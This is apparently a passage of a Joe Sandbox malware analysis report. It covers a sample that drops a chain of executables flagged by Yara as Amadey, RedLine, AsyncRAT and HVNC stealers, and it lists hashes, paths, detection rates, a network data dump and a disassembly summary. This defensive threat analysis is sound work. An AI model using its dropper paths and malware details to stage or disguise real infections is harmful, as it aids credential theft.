2024-12-14 13:58:02 UTC	10555	IN	Data Raw: 3b 57 45 42 5f 55 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 Data Ascii: ;WEB_UNIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":&qu

Target ID:	0
Start time:	08:54:57
Start date:	14/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1b0000
File size:	3'026'432 bytes
MD5 hash:	FC3E0787A6E4B444BA49D0E5BAACC83C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2044020682.0000000004810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:55:00
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb60000
File size:	3'026'432 bytes
MD5 hash:	FC3E0787A6E4B444BA49D0E5BAACC83C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2076189455.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:55:00
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb60000
File size:	3'026'432 bytes
MD5 hash:	FC3E0787A6E4B444BA49D0E5BAACC83C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2074780738.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:56:00
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb60000
File size:	3'026'432 bytes
MD5 hash:	FC3E0787A6E4B444BA49D0E5BAACC83C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2675046561.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	08:56:10
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe"
Imagebase:	0x7ff6ae220000
File size:	309'760 bytes
MD5 hash:	A9502D407C7A3E0C43AD669C27638793
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:56:10
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\svchost.exe"
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:56:10
Start date:	14/12/2024
Path:	C:\Windows\System32\audiodg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\audiodg.exe"
Imagebase:	0x7ff7a91b0000
File size:	632'808 bytes
MD5 hash:	627DEA21175691FDE4495877C53B4C87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:56:10
Start date:	14/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\msiexec.exe"
Imagebase:	0x7ff794680000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	08:56:10
Start date:	14/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000B.00000003.2984346806.000000000AA42000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:56:18
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe"
Imagebase:	0x7ff64c370000
File size:	309'760 bytes
MD5 hash:	A9502D407C7A3E0C43AD669C27638793
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:56:19
Start date:	14/12/2024
Path:	C:\Windows\System32\audiodg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\audiodg.exe"
Imagebase:	0x7ff7a91b0000
File size:	632'808 bytes
MD5 hash:	627DEA21175691FDE4495877C53B4C87
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:56:19
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\svchost.exe"
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:56:19
Start date:	14/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\msiexec.exe"
Imagebase:	0x7ff794680000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:56:20
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe"
Imagebase:	0x570000
File size:	2'660'864 bytes
MD5 hash:	2A78CE9F3872F5E591D643459CABE476
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	08:56:20
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe"
Imagebase:	0x930000
File size:	307'712 bytes
MD5 hash:	F0AAF1B673A9316C4B899CCC4E12D33E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000011.00000000.2870306752.0000000000932000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:56:23
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe"
Imagebase:	0x7d0000
File size:	441'344 bytes
MD5 hash:	4962575A2378D5C72E7A836EA766E2AD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:56:24
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe"
Imagebase:	0x6b0000
File size:	441'344 bytes
MD5 hash:	4962575A2378D5C72E7A836EA766E2AD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:56:24
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
Imagebase:	0x6b0000
File size:	441'344 bytes
MD5 hash:	4962575A2378D5C72E7A836EA766E2AD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:56:25
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe"
Imagebase:	0xf40000
File size:	48'640 bytes
MD5 hash:	DA0C2AB9E92A4D36B177AE380E91FEDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000015.00000000.2918234862.0000000000F42000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000015.00000000.2918234862.0000000000F42000.00000002.00000001.01000000.00000012.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	08:56:27
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe"
Imagebase:	0x7ff64c370000
File size:	309'760 bytes
MD5 hash:	A9502D407C7A3E0C43AD669C27638793
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:56:27
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\svchost.exe"
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:56:27
Start date:	14/12/2024
Path:	C:\Windows\System32\audiodg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\audiodg.exe"
Imagebase:	0x7ff7a91b0000
File size:	632'808 bytes
MD5 hash:	627DEA21175691FDE4495877C53B4C87
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:56:27
Start date:	14/12/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\msiexec.exe"
Imagebase:	0x7ff794680000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:56:28
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe"
Imagebase:	0xca0000
File size:	717'824 bytes
MD5 hash:	5890798F97F9144206499433A5DB3011
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_HVNC, Description: Yara detected HVNC, Source: 0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:56:29
Start date:	14/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\explorer.exe"
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	08:56:34
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe"
Imagebase:	0x4a0000
File size:	717'824 bytes
MD5 hash:	5890798F97F9144206499433A5DB3011
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	08:56:34
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	08:56:35
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe"
Imagebase:	0xd0000
File size:	3'053'056 bytes
MD5 hash:	99F996079094AD472D9720B2ABD57291
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 43%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:56:38
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	08:56:40
Start date:	14/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe"
Imagebase:	0x520000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:56:40
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	24.3%
Total number of Nodes:	580
Total number of Limit Nodes:	21

Executed Functions

Function 001B5C83 Relevance: 20.8, APIs: 3, Strings: 8, Instructions: 1535registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,2671AEDA,2671AEDA), ref: 001B5DCC
RegQueryValueExA.KERNEL32(2671AEDA,?,00000000,00000000,?,00000400,?,?,00000000,00000001,2671AEDA,2671AEDA), ref: 001B5DFA
RegCloseKey.KERNEL32(2671AEDA,?,?,00000000,00000001,2671AEDA,2671AEDA), ref: 001B5E06

Strings

VUUU, xrefs: 001B6F41
0000043f, xrefs: 001B612B
00000419, xrefs: 001B6098
stoi argument out of range, xrefs: 001B7081
00000422, xrefs: 001B60C9
00000423, xrefs: 001B60FA
invalid stoi argument, xrefs: 001B7090
Keyboard Layout\Preload, xrefs: 001B6054

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$invalid stoi argument$stoi argument out of range
API String ID: 3677997916-1112634906
Opcode ID: 7ea819a06185514bd3bf20d75f22bf57cdc208d653c8805ff237344ec4079824
Instruction ID: 9f3eb296a6213354e85e64459829c6d78e079d9cade916e1012963305ccd0cad
Opcode Fuzzy Hash: 7ea819a06185514bd3bf20d75f22bf57cdc208d653c8805ff237344ec4079824
Instruction Fuzzy Hash: CCC20371A002189BDF28DF68CC85BEDB776EF65304F5042ADF409A72C2DB759A94CB90

Function 001B735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
